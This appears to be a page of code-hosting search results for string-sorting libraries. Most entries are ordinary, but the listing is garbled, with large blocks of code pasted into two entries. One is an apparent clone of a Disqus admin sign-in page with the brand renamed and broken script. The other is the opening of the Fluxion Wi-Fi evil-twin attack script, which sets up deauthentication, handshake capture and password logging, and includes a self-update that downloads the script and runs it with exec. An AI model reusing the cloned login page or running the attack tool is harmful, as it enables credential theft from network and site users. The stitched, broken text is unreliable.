79 skills found · Page 2 of 3
Aloso / Lexical SortSort Unicode strings lexicographically
augustoproiete / NaturalStringExtensionsExtensions for sorting strings using natural sort order i.e. Alphabetical order for humans
skarademir / NaturalsortA simple natural sorter for Go Strings
iwiwi / Parallel String Radix SortA parallelized implementation of optimized MSD radix sort for strings
Wallace-Best / Best<!DOCTYPE html>Wallace-Best <html lang="en-us"> <head> <link rel="node" href="//a.wallace-bestcdn.com/1391808583/img/favicon16-32.ico" type="image/vnd.microsoft.icon"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta http-equiv="Content-Language" content="en-us"> <meta name="keywords" content="Wallace Best, wallace-best.com, comments, blog, blogs, discussion"> <meta name="description" content="Wallace Best's Network is a global comment system that improves discussion on websites and connects conversations across the web."> <meta name="world" value="notranslate" /> <title> WB Admin | Sign-in </title> <script type="text/javascript" charset="utf-8"> document.domain = 'wallace-best.com'; if (window.context === undefined) { var context = {}; } context.wallace-bestUrl = 'https://wallace-best.com'; context.wallace-bestDomain = 'wallace-best.com'; context.mediaUrl = '//a.wallace-bestcdn.com/1391808583/'; context.uploadsUrl = '//a.wallace.bestcdn.com/uploads'; context.sslUploadsUrl = '//a.wallace-bestcdn.com/uploads'; context.loginUrl = 'https://wallace-best.com/profile/login/'; context.signupUrl = 'https://wallace-best.com/profile/signup/'; context.apiUrl = '//wallace-best.com/api/3.0/'; context.apiPublicKey = 'Y1S1wGIzdc63qnZ5rhHfjqEABGA4ZTDncauWFFWWTUBqkmLjdxloTb7ilhGnZ7z1'; context.forum = null; context.adminUrl = 'https://wallace-best.com'; context.switches = { "explore_dashboard_2":false, "partitions:api:posts/countPendin":false, "use_rs_paginator_30m":false, "inline_defaults_css":false, "evm_publisher_reports":true, "postsort":false, "enable_entropy_filtering":false, "exp_newnav":true, "organic_discovery_experiments":false, "realtime_for_oldies":false, "firehose_push":true, "website_addons":true, "addons_ab_test":false, "firehose_gnip_http":true, "community_icon":true, "pub_reporting_v2":true, "pd_thumbnail_settings":true, "algorithm_experiments":false, "discovery_log_to_browser":false, "is_last_modified":true, "embed_category_display":false, "partitions:api:forums/listPosts":false, "shardpost":true, "limit_get_posts_days_30d":true, "next_realtime_anim_disabled":false, "juggler_thread_onReady":true, "firehose_realertime":false, "loginas":true, "juggler_enabled":true, "user_onboarding":true, "website_follow_redirect":true, "raven_js":true, "shardpost:index":true, "filter_ads_by_country":true, "new_sort_paginator":true, "threadident_reads":true, "new_media":true, "enable_link_affiliation":true, "show_unapproved":false, "onboarding_profile_editing":true, "partitions":true, "dotcom_marketing":true, "discovery_analytics":true, "exp_newnav_disable":true, "new_community_nav_embed":true, "discussions_tab":true, "embed_less_refactor":false, "use_rs_paginator_60m":true, "embed_labs":false, "auto_flat_sort":false, "disable_moderate_ascending":true, "disable_realtime":true, "partitions:api":true, "digest_thread_votes":true, "shardpost:paginator":false, "debug_js":false, "exp_mn2":false, "limit_get_posts_days_7d":true, "pinnedcomments":false, "use_queue_b":true, "new_embed_profile":true, "next_track_links":true, "postsort:paginator":true, "simple_signup":true, "static_styles":true, "stats":true, "discovery_next":true, "override_skip_syslog":false, "show_captcha_on_links":true, "exp_mn2_force":false, "next_dragdrop_nag":true, "firehose_gnip":true, "firehose_pubsub":true, "rt_go_backend":false, "dark_jester":true, "next_logging":false, "surveyNotice":false, "tipalti_payments":true, "default_trusted_domain":false, "disqus_trends":false, "log_large_querysets":false, "phoenix":false, "exp_autoonboard":true, "lazy_embed":false, "explore_dashboard":true, "partitions:api:posts/list":true, "support_contact_with_frames":true, "use_rs_paginator_5m":true, "limit_textdigger":true, "embed_redirect":false, "logging":false, "exp_mn2_disable":true, "aggressive_embed_cache":true, "dashboard_client":false, "safety_levels_enabled":true, "partitions:api:categories/listPo":false, "next_show_new_media":true, "next_realtime_cap":false, "next_discard_low_rep":true, "next_streaming_realtime":false, "partitions:api:threads/listPosts":false, "textdigger_crawler":true }; context.urlMap = { 'signup': 'https://wallace-best.com/admin/signup/', 'dashboard': 'http://wallace-best.com/dashboard/', 'admin': 'http://wallace-best.com/admin/', 'logout': '//wallace-best.com/logout/', 'home': 'https://wallace-best.com', 'for_websites': 'http://wallace-best.com/websites/', 'login': 'https://wallace-best.com/profile/login/' }; context.navMap = { 'signup': '', 'dashboard': '', 'admin': '', 'addons': '' }; </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/auth_context.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="//a.wallace-bestdn.com/1391808583/build/css/b31fb2fa3905.css" type="text/css" /> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/build/js/5ee01877d131.js"></script> <script> // // shared/foundation.js // // This file contains the absolute minimum code necessary in order // to create a new application in the WALLACE-BEST namespace. // // You should load this file *before* anything that modifies the WALLACE-BEST global. // /*jshint browser:true, undef:true, strict:true, expr:true, white:true */ /*global wallace-best:true */ var WALLACE-BEST = (function (window, undefined) { "use strict"; var wallace-best = window.wallace-best || {}; // Exception thrown from wallace-best.assert method on failure wallace-best.AssertionError = function (message) { this.message = message; }; wallace-best.AssertionError.prototype.toString = function () { return 'Assertion Error: ' + (this.message || '[no message]'); }; // Raises a wallace-best.AssertionError if value is falsy wallace-best.assert = function (value, message, soft) { if (value) return; if (soft) window.console && window.console.log("DISQUS assertion failed: " + message); else throw new wallace-best.AssertionError(message); }; // Functions to clean attached modules (used by define and cleanup) var cleanFuncs = []; // Attaches a new public interface (module) to the wallace-best namespace. // For example, if wallace-best object is { 'a': { 'b': {} } }: // // wallace-best.define('a.b.c', function () { return { 'd': 'hello' }; }); will transform it into // -> { 'a': { 'b': { 'c': { 'd' : hello' }}}} // // and wallace-best.define('a', function () { return { 'x': 'world' }; }); will transform it into // -> { 'a': { 'b': {}}, 'x': 'world' } // // Attach modules to wallace-best using only this function. wallace-best.define = function (name, fn) { /*jshint loopfunc:true */ if (typeof name === 'function') { fn = name; name = ''; } var parts = name.split('.'); var part = parts.shift(); var cur = wallace-best; var exports = (fn || function () { return {}; }).call({ overwrites: function (obj) { obj.__overwrites__ = true; return obj; } }, window); while (part) { cur = (cur[part] ? cur[part] : cur[part] = {}); part = parts.shift(); } for (var key in exports) { if (!exports.hasOwnProperty(key)) continue; /*jshint eqnull:true */ if (!exports.__overwrites__ && cur[key] !== null) { wallace-best.assert(!cur.hasOwnProperty(key), 'Unsafe attempt to redefine existing module: ' + key, true /* soft assertion */); } cur[key] = exports[key]; cleanFuncs.push(function (cur, key) { return function () { delete cur[key]; }; }(cur, key)); } return cur; }; // Alias for wallace-best.define for the sake of semantics. // You should use it when you need to get a reference to another // wallace-best module before that module is defined: // // var collections = wallace-best.use('lounge.collections'); // // wallace-best.use is a single argument function because we don't // want to encourage people to use it instead of wallace-best.define. wallace-best.use = function (name) { return wallace-best.define(name); }; wallace-best.cleanup = function () { for (var i = 0; i < cleanFuncs.length; i++) { cleanFuncs[i](); } }; return wallace-best; })(window); /*jshint expr:true, undef:true, strict:true, white:true, browser:true */ /*global wallace-best:false*/ // // shared/corefuncs.js // wallace-best.define(function (window, undefined) { "use strict"; var wallace-best = window.wallace-best; var document = window.document; var head = document.getElementsByTagName('head')[0] || document.body; var jobs = { running: false, timer: null, queue: [] }; var uid = 0; // Taken from _.uniqueId wallace-best.getUid = function (prefix) { var id = ++uid + ''; return prefix ? prefix + id : id; }; /* Defers func() execution until cond() is true */ wallace-best.defer = function (cond, func) { function beat() { /*jshint boss:true */ var queue = jobs.queue; if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); 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JuliaString / ShortStrings.jlA fast implementation of short strings of fixed size. Great for sorting and group-by operations
ragingwind / Semver SortSort array of semver string even which is exist in a strings.
pythonpanda / Coulomb MatrixA Python based code to construct a Sorted Coulomb matrix from Smile strings (CSV input) of molecules . An optional scikit-learn is invoked at the end of the script to classify molecules using SVM.
reddyprasade / Machine Learning Interview PreparationPrepare to Technical Skills Here are the essential skills that a Machine Learning Engineer needs, as mentioned Read me files. Within each group are topics that you should be familiar with. Study Tip: Copy and paste this list into a document and save to your computer for easy referral. Computer Science Fundamentals and Programming Topics Data structures: Lists, stacks, queues, strings, hash maps, vectors, matrices, classes & objects, trees, graphs, etc. Algorithms: Recursion, searching, sorting, optimization, dynamic programming, etc. Computability and complexity: P vs. NP, NP-complete problems, big-O notation, approximate algorithms, etc. Computer architecture: Memory, cache, bandwidth, threads & processes, deadlocks, etc. Probability and Statistics Topics Basic probability: Conditional probability, Bayes rule, likelihood, independence, etc. Probabilistic models: Bayes Nets, Markov Decision Processes, Hidden Markov Models, etc. Statistical measures: Mean, median, mode, variance, population parameters vs. sample statistics etc. Proximity and error metrics: Cosine similarity, mean-squared error, Manhattan and Euclidean distance, log-loss, etc. Distributions and random sampling: Uniform, normal, binomial, Poisson, etc. Analysis methods: ANOVA, hypothesis testing, factor analysis, etc. Data Modeling and Evaluation Topics Data preprocessing: Munging/wrangling, transforming, aggregating, etc. Pattern recognition: Correlations, clusters, trends, outliers & anomalies, etc. Dimensionality reduction: Eigenvectors, Principal Component Analysis, etc. Prediction: Classification, regression, sequence prediction, etc.; suitable error/accuracy metrics. Evaluation: Training-testing split, sequential vs. randomized cross-validation, etc. Applying Machine Learning Algorithms and Libraries Topics Models: Parametric vs. nonparametric, decision tree, nearest neighbor, neural net, support vector machine, ensemble of multiple models, etc. Learning procedure: Linear regression, gradient descent, genetic algorithms, bagging, boosting, and other model-specific methods; regularization, hyperparameter tuning, etc. Tradeoffs and gotchas: Relative advantages and disadvantages, bias and variance, overfitting and underfitting, vanishing/exploding gradients, missing data, data leakage, etc. Software Engineering and System Design Topics Software interface: Library calls, REST APIs, data collection endpoints, database queries, etc. User interface: Capturing user inputs & application events, displaying results & visualization, etc. Scalability: Map-reduce, distributed processing, etc. Deployment: Cloud hosting, containers & instances, microservices, etc. Move on to the final lesson of this course to find lots of sample practice questions for each topic!
juliangruber / Sortable HashHash arrays of numbers into sortable strings with variable precision loss.
jacobwilliams / StringsortModern Fortran sorting routines for strings
Emersonmafra / F#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN 